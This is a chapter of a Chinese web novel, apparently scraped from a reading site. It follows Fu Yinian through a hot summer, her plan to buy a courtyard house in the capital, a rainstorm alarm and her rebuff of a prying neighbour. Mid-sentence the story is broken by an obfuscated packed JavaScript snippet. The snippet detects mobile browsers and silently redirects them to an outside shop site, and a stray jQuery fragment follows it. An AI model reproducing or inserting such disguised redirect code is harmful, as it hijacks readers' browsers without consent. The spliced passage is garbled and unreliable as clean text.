74. 暑假
    第七十四章

    祝镕第二天下午离开的。

    因为天气炎热,符伊年不想出门,于是两人在家消磨了一个上午。

    祝镕前一天晚上在晚饭后离开。虽然他十分恋恋不舍,但是到底不好留宿,在天黑之前离开家属院。离开前甚至还给符伊年做了一顿晚饭。

    符伊年自己一个人干巴巴地吃了晚饭,也没有兴趣做别的,早早就洗漱上床睡觉了。

    说是消磨一上午,其实也只有几个小时而已。

    “我跟你说件事。”

    符伊年本来半躺在沙发上看书,头枕着沙发扶手,脚搭在祝镕大腿上,说这话的时候就用脚后跟敲敲祝镕的大腿。

    祝镕立刻抓住她的脚腕,瞥了她一眼,淡淡地说:“别捣乱。”

    符伊年:“没有捣乱,我是要和你说事。”

    祝镕不为所动,依然禁锢着她的脚腕,“嗯,说吧。”

    符伊年知道逗不到他了,不禁撇撇嘴,心里说一句“没情趣”,嘴上开始说正经事。

    “我准备在京城买个房子。”

    这是祝镕没想到的,他不禁惊讶,转头看向符伊年,发现她并不是开玩笑的样子,“买房子?为什么?”

    符伊年坐起来,两腿盘着,弯腰从茶几上够水杯。祝镕伸出手臂先她一步拿到,递到她手里,符伊年喝了大半杯,剩下的推给祝镕。

    “我有个同学,她家解放前是京城里做房产经纪的,建国后也有家人在房产局。上次我们出游的时候,她跟我说,最近京城里多了很多四合院要卖。”

    祝镕之前听符伊年说过出游这件事,但是,卖房子?

    “她主动提到的?”

    “不算,话赶话吧,”符伊年不想纠结这个,“因为最近很多平反的人家回来了,但是当家话事人已经不在了,可能家庭条件不如以前,也可能要出国投奔亲戚,反正想要卖掉原来的房子。我想买一套。”

    至于买房子的原因,肯定不能说若干年后京城四合院会涨成天价。

    “毕业后如果没有意外,应该会留在京城吧,先把住处搞定,然后还要慢慢装修,等毕业的时候就能住了。”符伊年说到这里,看了一眼祝镕,目光别有深意。

    祝镕:是我想的那样吧?

    “那你钱够吗?”祝镕只有这句话,“不够的话,我那里还有一些,大概几千块。”

    符伊年赶紧摆手,“不用,我有钱,我爸妈留了钱。”

    这个时候得四合院还不算贵,她趁早下手说不定可以以低价购入优质,实在不够的话,卖一两个戒指吧。这算是她的婚前财产,还是不用他的钱好了。

    祝镕明白了,“要是有需要,可以打电话给我,或者找容院长也行。”

    符伊年点头,这次没有拒绝。其实她还想根祝镕提一提以后经商得事,但是想了一下又没说。这事儿急不来,还有半年,再等等,稍安勿躁。

    不过,“你怎么会有这么多钱?”不是说当兵的逗很穷吗?

    “当兵后的津贴和补贴,一开始只有十几块钱,随着职级增长,津贴也在涨,出任务也有赏金,我又没地方花,本来也是打算结婚时候用的。”相比符伊年的隐晦和暗示,祝镕就直接得多了,也毫不避讳。

    午饭后,祝镕终于不得不离开,他不要符伊年送,因为天气太热了,他怕她中暑,“你送我我还要再送你回来,没必要。”

    符伊年“嗯”一声,两手拉着他的,攥得紧紧的,情绪也不复之前。

    “我听门卫说,化工厂打算给每栋楼或者每两个单元安一部电话,若是你开学之前安好,就给我电话告诉我号码。”祝镕拉过符伊年拥抱她,又在发顶轻吻了一下,“我走了。你好好照顾自己。”

    送走祝镕,符伊年开始了自己的真正的暑假生活。

    天气热,符伊年养成了昼伏夜出的习惯,如果非要出门,比如买米买菜,就会在一大早的时候出门,趁天热之前回来。

    因为天热,符伊年已经很久没有去补充小蛋糕和糖果零食了,也事因为天热,符伊年没心情下厨做菜,几乎每天以不同的咸菜佐餐下饭,偶尔实在吃不下,干脆啃两根黄瓜或者西红柿。

    直到进了八月,不知是不是热到了头,一号当天还在艳阳高照,据收音机里的天气预报说,当天最高气温达到了三十度,明天还会继续升温到三十三度,突破了历史记录。

    收音机提醒人们,注意防暑降温,非必要不在正午出门。

    符伊年可是连四十度的高温天都经历过的,三十度对于她来说其实还能忍受,即便是三十三度也还可以,但是没有太阳,空气湿度还很大,闷热闷热的,人像是蒸锅里的馒头一样,快熟了。

    然而,令人没想到的是,从三号开始下起了雨,雨势并不急,只是一直没停。也不是没停过,停一两个小时,会接着下,一直下了三天。

    雨下到第二天下午的时候,家属院突然响起警报,过了一会儿,楼道里响起此起彼伏的脚步声。

    符伊年不明所以,拉开门出去看,发现很多人都穿着雨衣雨鞋往楼下冲,而且大部分都是男人,也有几个女人跟着一直送到楼口。

    符伊年跟着走到楼口,在人群里看到了卢主席的身影,她挤上前去,“卢阿姨,发生什么事了?”

    卢主席转头一看,是符伊年,“你不知道?哦,也对,你年纪小,估计不记得,这警报是厂里反应炉的警报,要是态势控制不好会爆炸的。”

    符伊年听得迷迷糊糊的,没太懂,但也不好意思多问,点点头表示知道了。

    就在这时候,符伊年感受到一个目光一直在看自己,她转头看去,正对上一个年轻男子的目光,符伊年想了想,记起来了,他就是家属院里那个唯一考到了复旦数学系的学霸。

    符伊年对他点点头致意,收回目光,重新向外看去。

    雨还没有停,雨水已经在院子里汇集成了河,符伊年估计水深已经能没脚脖子了。符伊年没有多停留,看一会儿知道自己做不了什么,就挤出人群打算回家。

    结果还没走出去一步,就被人拉住了手臂,“哎,这不是符工程师家的孩子吗?”

    符伊年转头看去,是一个三十多岁的阿姨,烫着时下流行的卷发,穿一条粉色布拉

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13037222|131614||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    吉,丰腴的身躯将布拉吉撑满,似乎只要动作大一点就要崩开。

    符伊年下意识挣脱开她的手,发现自己并不认识这位阿姨,但是秉承着要礼貌待人,就她对人点点头,说了一句“阿姨好”,说完就想转身离开。

    结果阿姨却不肯放过她,趁她没有走远的时候,又问了起来,“那天看见一个男的进了你家,是谁呀?”

    这话问的,乍一听起好像只是单纯的好奇,但是禁不住细想,一旦你细想,只有两个可能:觉得对方其心可诛和对符伊年感官变差。

    这个阿姨声音比较尖锐,从第一句话开始就已经引起周围人的注意,大家听了后面这句话,更是开始窃窃私语。

    符伊年不想成为焦点,知道此时不宜久留,但是也不想说破祝镕的身份,倒不是有什么见不得人,更不是可以隐瞒,她只是觉得没必要。

    “阿姨,”符伊年挣了一下,把手臂从她手里挣脱出来,“我老家有位长辈,今年九十岁了,您知道他的长寿秘诀是什么吗?”

    阿姨下意识地追问:“是什么?”

    “是不管闲事。”符伊年留下这么一句话,扬长而去。

    留下众人沉默无语,只有楼门外雨声哗啦啦,直到不知道哪位突然“噗嗤”笑了一声,还越笑声音越大,其他人也忍不住呵呵笑出来。

    那位阿姨被大家笑得很难堪很尴尬,“这个孩子,我就好奇问问,哪有她这样儿的!”

    “你好奇你不能私下问吗?”卢主席因为站得位置比别人偏一些,看得清清楚楚,“当着这么多人问,让人家怎么说?”

    “有啥不能说的,不就是相好……不就是对象嘛,有啥不能说的?”阿姨很不忿,但是到底因着卢主席的身份,不敢大声了。

    旁边一个大娘看不过去了,“你都知道了还问啥?不就是看人家小姑娘面嫩嘛。”

    “何止,”另外一个大嫂撇着嘴看她,以前也被这个阿姨刁难过,“是欺负人家符工程师和唐老师都不在了吧?您可别忘了,就算不在了,那也是烈士子女,厂里和国家会给做主的!”

    阿姨被大家说的脸红到了脖颈子,低着头跑掉了,跑起来的时候,大家都怕她的布拉吉被身体撑破了。

    符伊年已经上楼了,她没有听完大家的话,只听到了开头卢主席的帮腔,不禁在心里微笑,那些水果还米面调料还是有些用的。

    这场雨一共下了三天,在八月五日下午停止。雨停之后一小时左右,云彩散去,太阳出来,东边一道彩虹若隐若现。

    连天的大雨,打落了不少树枝、花朵和叶子,还有很多被雨水冲积到一起的泥土,在院子里左一堆右一堆,还有马路上更是如此,下水道口被冲来的树枝残叶堵住几乎不能下水,要尽快给清理干净才行。

    雨停后不久,不用人组织或者号召,居民们自发地拿着笤帚、铲子等工具出来清扫大院和马路。

    符伊年也带着自家的笤帚下了楼,找了个人不多的地方开始清扫起来。

    正干着活儿呢,门卫大爷背着手过来了,递了一张信封给她,“年年,电报。”大爷补充到:“京城来的。”